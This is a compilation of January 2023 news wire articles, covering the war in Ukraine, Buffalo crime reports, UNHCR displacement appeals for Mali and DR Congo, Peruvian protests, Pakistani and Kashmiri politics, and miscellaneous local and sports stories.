Teplinsky was the officer on the ground in charge of Russias relatively successful withdrawal from west of the Dnipro in November 2022, and he has received praise in Russia as a capable and pragmatic commander, according to British intelligence.

Read also: Intelligence reveals changes in Russian tactics expected after Surovikin replaced by Gerasimov

It remains unclear whether Teplinsky still retains his additional remit as head of the VDV, Russias airborne forces. There is a realistic possibility that debate over the tasks VDV has been given has contributed to his dismissal: VDV has often been employed in ground holding roles traditionally given to the mechanised infantry, the report reads.

Earlier, the British Defense Ministry reported that the newly appointed commander of the joint group of Russian forces in Ukraine, Valery Gerasimov, and Defense Minister Sergei Shoigu are seen as more and more detached from reality due to the decision to deal with routine discipline issues in the army against the background of real problems mounting.
Ukraines Defense Forces have downed another Russian Su-25 aircraft in the Donetsk region.

The relevant statement was made by the General Staff of the Armed Forces of Ukraine, an Ukrinform correspondent reports.

Today Ukraines Defense Forces have shot down another enemy Su-25 aircraft in the Donetsk region, the report states.

A reminder that, on January 23, 2023, Ukrainian air forces launched five strikes on enemy clusters. Additionally, the Ukrainian military downed two Russian Su-25 aircraft, one Ka-52 helicopter, one Orlan-10 unmanned aerial vehicle, and two Kh-59 TV-guided air-launched cruise missiles.

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The Security Service of Ukraine apprehended an agent of the Russian security service who was helping the enemy prepare a missile attack on energy infrastructure in Kropyvnytskyi.

The SBU Security Service reported this on Telegram, Ukrinform saw.

"According to the probe, the traitor turned out to be a local resident who was recruited by the Russian special services after the full-scale invasion. He came into the aggressor's field of view because of his pro-Kremlin views, which he repeatedly made public among his friends," the SBU notes.

According to the intelligence service, the accomplice of the aggressor power gathered information about the deployment sites of Ukrainian Army units and critical infrastructure facilities across the region. He was also focused on the locations of energy facilities.

Read also: Court hands down first verdict for organizing sham referenda in southern Ukraine

"Acting on enemy instructions, he was supposed to install a GPS tracker near one of the transformer substations in Kropyvnytskyi. Guided by the tracker signal, the occupiers sought to adjust their missile strike on the facility. In the event of a successful strike, the invaders planned to continue a series of attacks on the regional center, using the FSB agent's "tips", the SBU wrote.

It is noted that in order to gather intelligence for the FSB, the enemy asset visited the area and carried out photo and video recording of facilities, having transmitted his "report" to the enemy through anonymous messengers.

SBU operatives detained the culprit as he intended to install a GPS device near the electric substation.

During the inspection of the scene and search in the detainee's home, law enforcers found a GPS tracker with a SIM card, as well as phones and computer equipment with evidence of correspondence with his FSB handler.

The court ruled to remand the perpetrator in custody.
Ukrainian sappers, after training in Cambodia, where they mastered working with high-tech Japanese landmine detectors equipped with the ALIS system, arrived in Tokyo to continue their training.

"These days, a delegation of the State Emergency Service of the Ministry of Internal Affairs of Ukraine is in Japan. After training in Cambodia, our guys arrived in Tokyo to continue their training, as well as meet with the leadership of the Japan International Cooperation Agency and the Ministry of Foreign Affairs of Japan," Ambassador of Ukraine to Japan Sergiy Korsunsky posted on Facebook.

Korsunsky noted that Japan will hand over the first batch of landmine demining equipment to Ukraine, and currently the Japanese side is studying the issue of expanding this project, taking into account the experience of practical application.

As reported, the Japan International Cooperation Agency launched a multi-level program of cooperation with the State Emergency Service of Ukraine.

The first component of cooperation was a pilot project within which sappers of the State Emergency Service will receive high-tech equipment for humanitarian demining. These are mine detectors equipped with the ALIS (advanced landmine imaging system) which are able not only to find a potential explosive object under the ground but also to show its shape on the monitor.

The project officially began in January with the training of Ukrainian sappers in Cambodia, where eight explosives technicians from Kyiv, Kharkiv, and Khmelnytskyi mastered the skills of working with the new device.

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President Volodymyr Zelensky discussed the creation of a separate platform to strengthen Ukraine with armored vehicles, including tanks, with President of Finland Sauli Niinisto.

"Today we talked about the creation of a separate platform to strengthen Ukraine with armored vehicles, including tanks," Zelensky said at a joint press conference with Niinisto in Kyiv, an Ukrinform correspondent reports.

He noted that Finland will take its "appropriate place" there.

The President emphasized that Ukraine must build a resilient army, and this resilience depends on the support provided by other countries.

"The USA provides the greatest support, as well as Britain, the EU countries, the countries of the European continent, the countries of Asia, Africa  it is very important that they are on the side of Ukraine, because this is the side of the truth, and strengthen our army and our truth in whatever way they can," the President of Ukraine stressed.

President of Finland Sauli Niinisto is on an official visit to Ukraine today.

As reported, Minister of Foreign Affairs of Ukraine Dmytro Kuleba revealed the list of the most urgent needs of the Armed Forces of Ukraine: air defense systems, anti-aircraft guns, MANPADS, artillery shells, and armored vehicles.

ol
Finland is discussing the possibility of forming a powerful unit of Leopard tanks in Europe for Ukraine.

"We have to keep in mind that the ongoing discussion about tanks is about a larger unit. Taking one tank here and another there is not enough. There should be a powerful unit in Europe. We [Finland] are discussing the possibility of creating such a unit..., we are considering options," President of Finland Sauli Niinisto said at a joint press conference with President of Ukraine Volodymyr Zelensky in Kyiv, an Ukrinform correspondent reports.

Niinisto noted that his country would contribute to the creation of such a unit.

He noted that Finland is one of the few countries in Europe that call up citizens to the armed forces, has experienced instructors and infrastructure. According to the President, the country must remain vigilant and careful: "Among the countries that have Leopard tanks  more than 10 in Europe  Finland has a unique position, because we are the only EU member state, but not a NATO member state, that has the longest border with the Russian Federation in Europe after you [Ukraine]."

At the same time, President Zelensky expressed his conviction that the resilience of Ukraine is a key prerequisite for the security of each of Russia's neighbors and the whole of Europe, and therefore global security.

"Ukraine's resilience is a key prerequisite for the security of each of Russia's other neighbors and the whole of Europe and, therefore, global security. It is in this perspective that we and our partners perceive the situation and act on this basis, in particular with our friends from Finland," Zelensky said.

The President thanked the leadership and the people of Finland for their "constant, principled" support, saying, in particular, that Finland has already provided 12 packages of security assistance and cooperates in the restoration of Ukrainian energy after the attacks of Russian terrorists.

"When Ukraine will gain victory, it will be a victory of every nation that values freedom and the guarantee of non-recurrence of such invasive aggression," the Head of State emphasized.

As reported, the heads of defense departments of more than 50 countries did not reach an agreement on the supply of Leopard tanks to Ukraine at the 8th Ukraine Defense Contact Group meeting on January 20. German Defense Minister Boris Pistorius said that a decision could be made in the near future.

ol
Two Buffalo residents have pleaded guilty before U.S. District Judge Lawrence J. Vilardo to a charge of attempting to possess with intent to distribute cocaine, U.S. Attorney Trini E. Ross announced.

Jose A. Solis-Pizzaro, 43, and Mirelys Camacho Betancourt, 27, face a maximum penalty of 20 years in prison and a $1 million fine.

Prosecutors said that investigators intercepted a package addressed to a residence of Parker Avenue in Buffalo on Feb. 1, 2021, and discovered that it contained more than a kilogram of cocaine.

The contents were replaced and the package was delivered to the Parker Avenue home two days later by an undercover officer. Solis-Pizzaro approached the officer and said the package was his. A short while later, he got into a vehicle with the package and was arrested.

Later that day, prosecutors said, Camacho Betancourt came to the Parker Avenue address, was questioned by officers and taken into custody. According to prosecutors, she admitted that she was paid to find addresses in Buffalo where drugs could be delivered.
Ukrainian President e Volodymyr Zelensky has addressed the participants in a meeting of the National Association of State Chambers.

That's according to the Office of the President of Ukraine, Ukrinform reports.

"We have already managed to attract attention and have cooperation with such giants of the international financial and investment world as Black Rock, J.P. Morgan and Goldman Sachs. Such American brands as Starlink or Westinghouse have already become part of our, Ukrainian, way. Your brilliant defense systems  such as HIMARS or Bradleys  are already uniting our history of freedom with your enterprises. We are waiting for Patriots. We are looking closely at Abrams," Zelensky said.

He noted that occupying Ukrainian territories, Russia takes away equipment from local factories, the contents of warehouses and stores, and even people as a resource. According to him, the process of overcoming the consequences of Russia's "predatory policy" will begin after Ukraine's victory, as well as the process of rebuilding the country's infrastructure and economy, which will become the largest economic project of our time in Europe.

"It is obvious that American business can become the locomotive that will once again push forward global economic growth," he said.

For the sake of future high results "in all sectors  from weapons and defense to construction, from communications to agriculture, from transport to IT, from banks to medicine," Zelensky invited American businesses to work with Ukraine now.
Minister of Foreign Affairs Dmytro Kuleba thanked Kuwait for its support for Ukraine.

During our call, I thanked Foreign Minister Sheikh Salem Al-Sabah for Kuwaits humanitarian assistance. Kuwaiti friends know too well what it means to resist aggression and understand us well. I invited Kuwait to contribute to implementing Ukraines Peace Formula, Kuleba posted on Twitter.

During our call, I thanked Foreign Minister Sheikh Salem Al-Sabah for Kuwaits humanitarian assistance. Kuwaiti friends know too well what it means to resist an aggression and understand us well. I invited Kuwait to contribute to implementing Ukraines Peace Formula. @MOFAKuwait  Dmytro Kuleba (@DmytroKuleba) January 23, 2023

As reported, Minister of Foreign Affairs Dmytro Kuleba said that the "last half step" is left to be taken in the matter of tanks supplies to Ukraine. Kuleba is sure that the German Leopard tanks will soon be transferred.

ol
The Embassy of Ukraine in Georgia does not rule out the possibility of a mass evacuation of Ukrainians in the event of the resumption of direct flights between Georgia and Russia and an increase in security risks.

This was stated by Andrii Kasyanov, Charge d'Affaires of Ukraine in Georgia, who spoke in an interview with European Pravda, Ukrinform reports.

"In the event of the resumption of direct air traffic, an increase in real security risks, Id like to say that the embassy currently does not rule out the possibility of turning to international organizations, to our international partners to consider the possibility of providing assistance in mass evacuation of Ukrainian citizens from the territory of Georgia," said the diplomat.

He emphasized that the evacuation will take place if real threats emerge to the lives and safety of citizens. "We will not remain idle. We will work and provide everything that depends on us to ensure their protection and safety," Kasyanov stressed.

The charge daffaires added that against the backdrop of a significant increase in the threat to a safe stay in Georgia due to the abnormal influx of Russians, the embassy is doing everything possible to facilitate the return of citizens to Ukraine.

"Now we are discussing the possibility of organizing special evacuation routes specifically for those most vulnerable population strata who really have no money to return. At the same time, we consider land transport as most optimal," he said.

As reported, the head of the ruling party "Georgian Dream" Iraklii Kobakhidze said on Georgian TV that Georgia would support the resumption of direct flights with Russia.

At the same time, Georgian President Salome Zurabishvili spoke against the idea.

Russia halted air traffic with Georgia on July 8, 2019.
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Published January 24, 2023

MONROE, LA  Cliff Tresner, an Associate Professor of Art at ULM, has recently been accepted to the prestigious Vermont Studio Center for a three-week residency in May-June 2023.

A panel of jurors chose Mr. Tresner from a very competitive pool of applicants after reviewing his impressive portfolio of artwork. Mr. Tresner was also given a grant award of $6,750.

Mr. Tresner will be focusing on both 3-D printing and painting during his tenure in Vermont.During my time at Vermont Studio Center I hope to continue exploring the nuances between the interplay of two-dimensional and three-dimensional art forms as I continue to reference a broad array of contemporary and historical concerns from Neoclassical sculpture, through Modernism, to cartooning, and pop culture, said Tresner.

The residency includes a private studio, living accommodations, and unlimited access to VSC's significant resources including a lecture series and studio visits by internationally renowned artists, and the opportunity for Mr. Tresner to share his work through scheduled artist slide nights and an open studio night. Over the course of his residency, Mr. Tresner will also be able to enjoy the companionship of professional peers, sharing views and concepts with other visual artists and writers also engaged in creative work.

The Vermont Studio Center was founded by artists in 1984 and is situated along the banks of the Gihon River in the historic village of Johnson, Vermont. This location was chosen with the intention of fostering creativity through community, collaboration, and quiet reflection supported by the unspoiled beauty of the northern Green Mountains.

Over the last 38 years, VSC has hosted visual artists and writers each month from across the country and around the world. VSCs mission is to provide studio residencies in an inclusive, international community, honoring creative work as the communication of spirit through form.

With a limited number of residencies, recipients go through a highly selective jury process. The jury is looking for excellence within a broad range of aesthetics, spanning the categories of painters, sculptors, video artists, performers, installation artists, and writers.


Displaced people forced to flee their village of N'Tillit in northern Mali have found refuge in the town of Gao.  UNHCR/Handa Ag Mohamed

UNHCR, the UN Refugee Agency, is calling for enhanced support for those recently displaced in Mali, where violence and threats by armed groups have forced local Malians and refugees to flee for safety.

In NTillit village in northern Mali, the attacks have forced more than 3,700 Burkinabe refugees and local Malians to flee to Gao, the nearest city located 120 kilometres away.

The current threat in NTillt, where Burkinabe refugees had found refuge in recent years after fleeing Burkina Faso, has displaced them for the second or third time, bringing even greater trauma. Since 2018, Burkinabe refugees have been forced to cross the border to Mali, despite the precarious security situation in both countries. As of 31 December 2022, Mali hosted more than 60,000 refugees, including 25,000 from Burkina Faso. Meanwhile, some 440,000 Malians remain internally displaced due to continued violence and threats from armed groups.

The number of arrivals in Gao town may continue to increase as the remaining population in NTillit village fear reprisals after being given ultimatums by an armed group. The majority of displaced  women and children  walked for hours without food, fearing for their lives to find safety.

The displaced are currently living under trees or in makeshift shelters with little food and water. Pregnant and nursing mothers with children, the elderly, people living with disabilities, and separated children urgently need health care. UNHCR and its partners are supporting local authorities in assessing and responding to the needs of forcibly displaced families in Gao.

We are also coordinating the humanitarian response for refugees and internally displaced Malians across the country through emergency shelter, education, food and water supply, cash assistance and programmes aimed at economic empowerment.

Despite these efforts, the needs of the displaced remain enormous as violence by armed groups continues to force people to flee. UNHCR is appealing to the international community to show greater solidarity for the displaced in Mali and in neighbouring countries, through urgent financial support for humanitarian organizations to deliver life-saving assistance.

For more information, please contact:
Women return to their shelters in Plain Savo site for internally displaced persons in Ituri province after collecting water.  UNHCR/Helene Caux

UNHCR, the UN Refugee Agency, is deeply concerned by the escalation of brutal attacks on civilians by non-state armed groups in eastern Democratic Republic of the Congo (DRC).

The latest deadly attack happened on 19 January at the Plaine Savo site for internally displaced persons (IDPs) in Ituri province. Armed men stormed the site with firearms and killed two adults and five children. Many shelters were looted and burned to the ground. As many as 17,000 people fled to the greater security of the nearby town of Bule. They are now staying in schools, churches, and poorly covered outdoor markets without sufficient food and water.

More than 200 civilians have been killed in the last six weeks in Ituri in a series of attacks by non-state armed groups, which also destroyed 2,000 houses and closed or demolished 80 schools. At least 52,000 people have fled in a province already hosting 1.5 million IDPs. Of those, 35,000 people have found refuge in the relative safety of Rhoe IDP site, where the infrastructure of emergency shelters, communal latrines and shared cooking spaces is now straining under the weight of a population of 70,000 people  nearly double its planned capacity.

Attacks are also occurring in neighbouring North Kivu province, where a dramatic resurgence of clashes began in March 2022 and 521,000 people have fled for their lives from aerial bombardment and forced recruitment by non-state armed groups. Some 120,000 people have moved to the relative safety of the outskirts of the provincial capital of Goma, carrying personal belongings on their heads and children on their backs. In total, 2.1 million people are displaced in the conflict-torn province.

Amidst this volatility, UNHCR and partners continue to deliver life-saving assistance to displaced populations. We assisted 1,154 families of persons with disabilities, pregnant women and those with other vulnerabilities to move into newly constructed emergency shelters in Buchagara IDP site near Goma in North Kivu in January and will add 1,000 new tarpaulin-walled homes at Rhoe IDP site in Ituri.

Building at Buchagara has continued despite UNHCR receiving just 46 per cent of its requirements in 2022, but this has only been possible by de-prioritizing other needs, such as education services. For 2023, UNHCR is asking for US$233 million to assist IDPs and refugees in the DRC.

The violence and instability in the region also mean that UNHCR and partners are delivering life-saving shelter, site management and protection services despite risks to the safety of humanitarian personnel. UNHCR reiterates that humanitarian actors and civilians should not be targeted in armed conflict and calls on all parties to respect the civilian and humanitarian character of sites for displaced people.

Over 5.6 million people are internally displaced in the DRC, making it the largest displaced population on the African continent and one of the largest worldwide. The country also hosts 524,700 refugees.

For more information, please contact:

In DR Congo, Joel Smith, [email protected] , +243 82 52 57 774

, +243 82 52 57 774 In Pretoria (regional), Helene Caux, [email protected] , + 27 82 376 5190

, + 27 82 376 5190 In Geneva, Eujin Byun, [email protected] , +41 79 747 8719

, +41 79 747 8719 In New York, Kathryn Mahoney, [email protected] , +1 347 574 6552

For video B-roll on Ituri, please visit Refugees Media: https://media.unhcr.org/Share/3lywn618hjv04t43nr6y8u68s420xd8t

For photos on Ituri, please follow the below link on Refugee Media: https://media.unhcr.org/Package/2CZ9LO4RUZE2

For photos on North Kivu, please follow the below link on Refugee Media: https://media.unhcr.org/Package/2CZ9LO49UW_R

For UNHCRs latest story on Ituri:

https://www.unhcr.org/spotlight/2023/01/no-escape-for-civilians-trapped-in-eastern-dr-congos-cycle-of-violence/
Monsignor Francis J. OConnor rose from humble roots to become one of Buffalos most influential priests, making his murder all the more shocking to the deeply Catholic community of the 1960s.

He was the younger of two boys whose deaf parents had fallen in love after meeting at St. Marys School for the Deaf.

When his mother died young, her sister, who was also deaf, stepped in to fill the void at the familys modest Hagen Street home, between East Delavan Avenue and Genesee Street, where OConnor learned lip reading and sign language.

OConnor pursued a religious vocation that culminated in him becoming the editor-in-chief of the Buffalo Catholic Dioceses weekly newspaper. He had increased the paper's circulation from 20,000 to 60,000 subscribers.

Then, at the height of OConnors career, the body of the 44-year-old monsignor was found floating facedown in Scajaquada Creek on March 13, 1966.

Assaulted and drowned, such an end for a clergyman so highly regarded seemed almost inconceivable to those who knew him.

A shock  a staggering blow, then-Bishop James A. McNulty lamented in news accounts at the time.

For more than half a century, his unsolved murder has generated all kinds of speculation about the identity and motive of the killer or killers. Theories have included speculation about his sexual orientation to suggestions that O'Connor heard a confession about a sin so terrible that it put him in grave danger.

The editorial staff at the diocesan newspaper, The Magnificat, described their editor as a great man, a dedicated priest, a hardworking newspaper man, a wonderful human being. Photographs were published in the newspaper of OConnor with former President Harry S. Truman and other dignitaries.

Described as a hulking, yet gentle individual who loved the arts, OConnor never forgot his roots.

For years, he oversaw the household finances of his father, Clement A. OConnor, a retired Buffalo Courier-Express newspaper typesetter, and his aunt, Rita M. Kronenberger.

The afternoon before OConnor disappeared, he had gone to their Bailey-Delavan home for a visit and dinner.

About 8 p.m. he told them he was tired and returned to his residence at St. Joseph Motherhouse convent on Main Street, where he was scheduled to celebrate 7 a.m. Sunday Mass, according to an old police report.

Later that same night, OConnor left the convent, never to be seen alive again by his loved ones.

Ordained a priest on June 4, 1949, after graduating from the former Christ the King Seminary at St. Bonaventure University in Allegany near Olean, his early assignments included serving as an assistant pastor at Our Lady of Perpetual Help Church in Buffalo and St. Benedict Church in Eggertsville.

In 1957, OConnor was appointed editor-in-chief of what was then the predecessor to The Magnificat, The Catholic Union and Echo. He also received a second appointment as a professor at the former Diocesan Preparatory Seminary on Dodge Street in Buffalo.

In 1959, at the age of 38, he was elevated to monsignor, an honorific title usually reserved for older priests who have distinguished themselves.

Sharon Bottini, a niece and OConnors closest living relative, said her uncle was the youngest priest at the time in the diocese to receive that honor.

In 1960, McNulty named OConnor director of the diocesan apostolate to the deaf and chaplain at St. Marys School for the Deaf, where he used his sign language skills to teach children religion.

One of his closest and last living friends, Monsignor Dino Lorenzetti, who is now 101, described OConnor as "a person of faith and goodness. A man of integrity."

"He was a brilliant scholar. He was master in the Latin language, said Lorenzetti, who attended the first Mass that O'Connor led and still finds it hard to believe someone killed OConnor.

OConnor, in his last will and testament, mentioned forgiveness.

If, perchance, human frailty has hitherto hindered me, I wish now to pardon all who  deliberately or inadvertently offended me, hoping at the same time that both Almighty God and men will forgive me my boundless sins, offenses, and negligence.

***

Catch up on the series: Who killed the monsignor? Exploring the murder of Monsignor Francis J. O'Connor, its investigation and its legacy

How we reported this series Watchdog reporter Lou Michel filed a Freedom of Information Law request in January 2022 for Buffalo Police records on the unsolved 1966 murder of Buffalo Diocese Monsignor Francis J. OConnor. He and reporter Dan Herbeck were given access to the Police Departments box of approximately 100 reports on the case. In addition, they interviewed more than 120 people, including retired police officers who worked on the case, people who talked with the Buffalo Police homicide chief who oversaw the investigation, and relatives and acquaintances of OConnor and of three diocese employees who were once suspects.
Multiple firearms, including a ghost gun and the frame of a ghost gun, along with an array of drugs were seized and two people were arrested in a raid Friday at a house on Gorski Street in the Kaisertown section of Buffalo, police announced Tuesday.

The Buffalo Police Narcotics Unit and SWAT executed the search warrant during which they they allegedly found: a loaded Polymer 80 ghost gun, a loaded Stevens 12-gauge shotgun, a sawed-off Stevens 94F shotgun and the frame of an incomplete Polymer 80 ghost gun along with ammunition.

They also allegedly found: 31 grams of methamphetamine, 26 grams of cocaine, 16 grams of assorted pills, 1 gram of fentanyl, 0.25 ounces of crushed pills, 22 Xanax bars, cash and scales.

Anthony Ortiz, 32, of Buffalo was charged with felony counts of criminal possession of a weapon in the second degree and one misdemeanor count of criminal possession of a weapon in the fourth degree. He was arraigned Saturday in Buffalo City Court before Judge Kevin J. Keane. He was remanded without bail.

Jacob Laraiso, 33, of Buffalo was charged with felony counts of criminal possession of a controlled substance in the third degree and fourth degree and criminal possession of a weapon in the second degree. He was also charged with misdemeanor counts of criminally using drug paraphernalia and criminal possession of a controlled substance in the seventh degree. Online court records show the judge set bail for Laraiso but he was listed in custody at the Erie County Holding Center Tuesday.
January 24 2023

Dramatic new visualisations have been produced illustrating how a new Buchanan Galleries could transform Glasgow's city centre.

A range of options has been prepared for new open and green spaces as part of a mammoth redevelopment effort by owners Landsec to open up the area north of George Square with a grid of new streets.

The third round of consultations emphasises the creation of a new public park or pavilion above an existing railway cutting at Cathedral Street as well as a new accessible entrance to the Royal Concert Hall. Another key element of the plan will be the removal of an outsize multistorey car park to provide additional development land and public space.

Councillor Susan Aitken, leader of Glasgow City Council, commented: These new images illustrate the sheer scale of the transformation involved in the proposals for Buchanan Street. Glaswegians care about their built environment and want to have quality public spaces that respect and build on shared history, so its important they take the opportunity to help shape the change our city centre demands.

The third and final round of consultations is now open to view.

The design team is led by Foster + Partners in collaboration with Michael Laird Architects, Atelier Ten, Arup and New Practice.
MEXICO CITY (UrduPoint News / Sputnik - 24th January, 2023) Venezuelan President Nicolas Maduro expressed support for the idea to create a regional currency.

Earlier, the leaders of Brazil and Argentina said such talks were under way.

"Venezuela is ready and we support the initiative to create a Latin American and Caribbean Currency," Maduro said during a march in Caracas against blockade and sanctions.

"Independence, unity and liberation for Latin America and the Caribbean!" he said.
Glasgow, (UrduPoint / Pakistan Point News - 24th Jan, 2023 ) :Aberdeen suffered a humiliating 1-0 defeat against sixth-tier minnows Darvel in the Scottish Cup fourth round on Monday.

The West of Scotland League Premier Division champions sprang one of the Scottish Cup's greatest upsets thanks to Jordan Kirkpatrick's first half strike at Recreation Park.

Scottish Premiership side Aberdeen were denied three times by Darvel keeper Chris Truesdale in the second half as the underdogs held on.

Aberdeen boss Jim Goodwin is now under intense pressure after his team's latest embarrassment, which came just days after a 5-0 defeat by Hearts at Tynecastle.

The Ayrshire town of Darvel has a population of only 4,000 and there were around 3,500 fans crammed inside the club's tiny stadium to witness the shock result.

"What an occasion for the club. I have believed in the guys all week. I have been drumming it into the team, they need to believe in themselves and trust each other," Darvel boss Mick Kennedy said.

"That is the culture at the club, the togetherness, love and respect and we have driven that all week.

"When you believe in each other it is remarkable what you can achieve." Darvel never looked overawed and a deflected drive from Craig Truesdale tested Aberdeen keeper Joe Lewis early on.

It was more good work from Truesdale which led to the winning goal in the 19th minute.

Aberdeen defender Hayden Coulson failed to properly clear Truesdale's cross from the left and when the ball fell to Kirkpatrick, the midfielder's shot on the turn took a deflection past Lewis.

The Dons' teenager Ryan Duncan's close-range shot went close to dragging the shell-shocked visitors level.

But Darvel were proving resolute, with Aberdeen's Luis Lopes denied from close-range before the visitors' top scorer Bojan Miovski had a 74th minute effort ruled out for offside.

Darvel keeper Truesdale made yet another great save at point-blank range from Lopes as Aberdeen succumbed to one of the worst nights in their history.
Lima, (UrduPoint / Pakistan Point News - 24th Jan, 2023 ) :Riot police tossed tear gas to disperse anti-government protesters in new unrest in Peru's capital on Monday, and the nation's interior minister said there was no end in sight to the tumult gripping the nation.

Several hundred protesters marched in colonial central Lima to demand the ouster of President Dina Boluarte -- some shouting "Dina murderer!" -- until police moved in with tear gas volleys.

This crisis triggered by the ouster of leftist and Indigenous president Pedro Castillo early last month stems largely from a gaping inequity between Peru's urban elite and poor rural Indigenous people in the southern Andean region who saw him as one of their own and working to make their lives better.

The unrest has left 46 dead in the South American nation, and Interior Minister Vicente Romero forecasts no relief.

"The social protests will continue. We are working intensively with the defense ministry to resolve them," Romero told the state tv Peru channel.

After a mass rally last week in Lima, another is planned for Tuesday by protesters demanding the resignation of Boluarte, despite authorities calling a state of emergency.

"We urgently need for Dina to resign," said Edmunda Canaguira, 60, who came to Lima from Sicuani in the southeastern Andes of Peru to take part in the mass mobilization.

"She doesn't listen to the people. It's her fault that we are in the streets this week -- without food, without being able to sleep," she said.

Protesters, many from poor Andean regions, are also demanding a new constitution, fresh elections and the dissolution of congress.

Civil groups have denounced repression by the security forces, but the minister defended police and praised their "spectacular" abilities.

"Right now we're experiencing one of the highest levels of violence in recent times, since the 1980s" when authorities were battling left-wing Shining Path guerrillas, said Romero.

He once again blamed a "faceless" group for financing protests in which he said 540 police officers have been injured.

Authorities have long claimed drug-traffickers and illegal miners were "manipulating" protesters.

Trouble first broke out on December 7 after then-president Castillo was arrested and charged with rebellion after attempting to dissolve congress and rule by decree.

His supporters have kept up regular protests and roadblocks throughout the country, even at times attempting to storm airports.

On Monday, there were still more than 80 blocked roads in eight of Peru's 25 regions.

The Inca citadel of Machu Picchu has been closed since Saturday as train services to the popular tourist site -- the only way to reach it other than on foot -- have been suspended for several days.

More than 400 stranded tourists had to be evacuated from Machu Picchu over the weekend.

The airports in the southern cities of Arequipa and Juliaca remain closed.
MIRPUR (UrduPoint / Pakistan Point News - 24th Jan, 2023 ) , Jan 24 (APP):Senior APHC leader Nayeem Ahmed Khan has said that the fascist country that has usurped the fundamental rights of the people of Jammu and Kashmir had no justification to celebrate Indian Republic Day.

In his message on Tuesday from Tihar jail, the incarcerated Hurriyat leader while denouncing India's illegal and forcible occupation of Jammu and Kashmir said, "Since the past several decades, Indian occupation forces have been grossly involved in trampling down the fundamental political and democratic rights of the Kashmiri people." "Notwithstanding their commitments of holding a free, fair and impartial plebiscite to let the people of Jammu and Kashmir decide their political fate, the Indian rulers have chosen a violent path to suppress by dint of force the aspirations of Kashmiri people," Khan said, adding that it was incumbent upon the international community to take serious notice of the illegal occupation of Kashmir by India and its belligerent occupation of Kashmir, which he said has been major cause and consequence of unrest in the region.

Reiterating his party's full support to the APHC call for a strike on January 26, Nayeem appealed to the Kashmiri masses to observe a complete strike on the day for conveying to the world that India's illegal occupation was not acceptable to them.

Recalling the dreadful genocide of innocent civilians at Handwara by the Indian army, he said the massacre of 21 unarmed protesters by the Border Security Force of India in north Kashmir's Handwara town on 25th January 1990 was the most horrifying example of Indian state terrorism.

Demanding an independent probe into the incident to bring to justice the perpetrators, he regrettably noted that those involved in this beastly act were let off scot-free.
ISLAMABAD, (UrduPoint / Pakistan Point News - 24th Jan, 2023 ) :Prime Minister Shehbaz Sharif on Tuesday expressed his regret over the inconvenience suffered by the general public as a major power outage hit the country on Monday.

"On behalf of my government, I would like to express my sincere regrets for the inconvenience our citizens suffered due to power outage yesterday," he posted on his Twitter handle.

A major power breakdown was reported in the country due to variation of frequency of the national grid, the Ministry of Energy said.

The prime minister, who formed a high-level inquiry committee on the matter, said responsibility of the power breakdown would be fixed.

"On my orders, an inquiry is underway to determine reasons of the power failure. Responsibility will be fixed," he said.
Ambassador of United Arab Emirates to Pakistan, Hamad Obaid Ibrahim Salem Al-Zaabi during a special visit to the Pakistan Sweet Home (PSH) in Islamabad on Tuesday acknowledged its contribution towards the welfare of orphan children

ISLAMABAD, (UrduPoint / Pakistan Point News - 24th Jan, 2023 ):Ambassador of United Arab Emirates to Pakistan, Hamad Obaid Ibrahim Salem Al-Zaabi during a special visit to the Pakistan Sweet Home (PSH) in Islamabad on Tuesday acknowledged its contribution towards the welfare of orphan children.

The UAE Ambassador to Pakistan who was accompanied by the Deputy Head of Mission, Rashid Al Ali met the Head of PSH, Zamurrad Khan (Hilal-e-Imtiaz), and the children of Sweet Home.

Speaking on the occasion, Zamurrad Khan thanked the ambassador for visiting this beautiful house of angels and fairies and said that his visit reflected that our brother country UAE always strives for welfare in Pakistan.

He said that UAE has always played an exemplary role in selfless services to humanity including the education and training of orphans.

Zamurrad Khan said that Allah Almighty has blessed me with a beautiful mission in life.

PSH was established with one child in the year 2009 and today thousands of boys and girls are part of this initiative.

He said that the boys and girls of PSH are currently studying in renowned universities and educational institutions of the country and are our bright future.

He highlighted that the first cadet college in the history of the world, which is only for orphans, is located in Gujjar Khan, the land of martyrs and ghazis, where more than 200 cadets are studying.

The centers of PSH are spread in different parts of the country including Karachi, Sukkur, Sargodha, Gujjar Khan, Kashmir, North Waziristan, and Islamabad where thousands of orphans are being educated in the best environment.

Zamurrad Khan further said that Golden Arrow Sweet Home has been established in the Mir Ali region of North Waziristan with the support of the Pakistan Army.

He further said that the time is not far when these sons and daughters of his will become ambassadors of Pakistan around the world, serving the country and the nation as doctors, engineers, and professors.

"I want to make these children not big men but big human beings who will be the identity of Pakistan in the service of humanity in the world," he said.

Speaking at the ceremony, the UAE Ambassador said, "I did not know that the great work of sponsoring thousands of orphans is going on in Pakistan on such a large scale." "I am very happy and impressed by meeting these children and their passion, courage, and confidence won my heart. Their father Zamurrad Khan deserves a tribute who took up and carried out this great mission in a very good manner", he said.

What can be a greater work in the world than that you support an orphan child and make him stand on his own feet by giving him the best education and training, he remarked.

Congratulating Zamurrad Khan and his entire team who are on their way to such a great mission, the UAE ambassador hoped that these children will go far and become the pride of their country in the future.

He said the Government of the United Arab Emirates stands side by side with Zamurrad Khan in this great mission and is always ready for all possible cooperation.

As far as possible we will work together with Pakistan for the betterment of these children, he added.

At the end of the ceremony, the Head of PSH, Zamurrad Khan, and the children also presented a commemorative shield to the Ambassador of the United Arab Emirates.

Earlier, the children entertained the audience with a colorful performance highlighting Pakistani culture.

In the ceremony, the cadets of Pakistan Sweet Home Cadet College Suhawa also expressed their views regarding the ideal friendship and relations between UAE and Pakistan.
The President of the Islamic Republic of Mauritania, H.E. Mr. Mohamed Ould Cheikh Ghazouani, received H.E. Mr. Hissein Brahim Taha, the Secretary-General of the Organisation of Islamic Cooperation (OIC) on Tuesday 17 January 2023, in Nouakchott

Nouakchott (UrduPoint / Pakistan Point News - 19th Jan, 2023) The President of the Islamic Republic of Mauritania, H.E. Mr. Mohamed Ould Cheikh Ghazouani, received H.E. Mr. Hissein Brahim Taha, the Secretary-General of the Organisation of Islamic Cooperation (OIC) on Tuesday 17 January 2023, in Nouakchott.



H.E. the President of the Islamic Republic of Mauritania reiterated his country's support to the OIC and to the efforts of the Secretary-General, underlining the important role played by the Organization in the defense of Islamic causes and the consolidation of the foundations of peace and stability in its geographical area.

He reiterated his country's readiness to ensure the conditions for the success of the 49th Session of the OIC Council of Foreign Ministers (CFM) to be held in Nouakchott on 16 and 17 March 2023.

The Secretary-General paid tribute to Mauritania for its continued commitment to the OIC and joint Islamic action.

He welcomed the preparations made by Mauritania to host the 49th Session of the CFM.
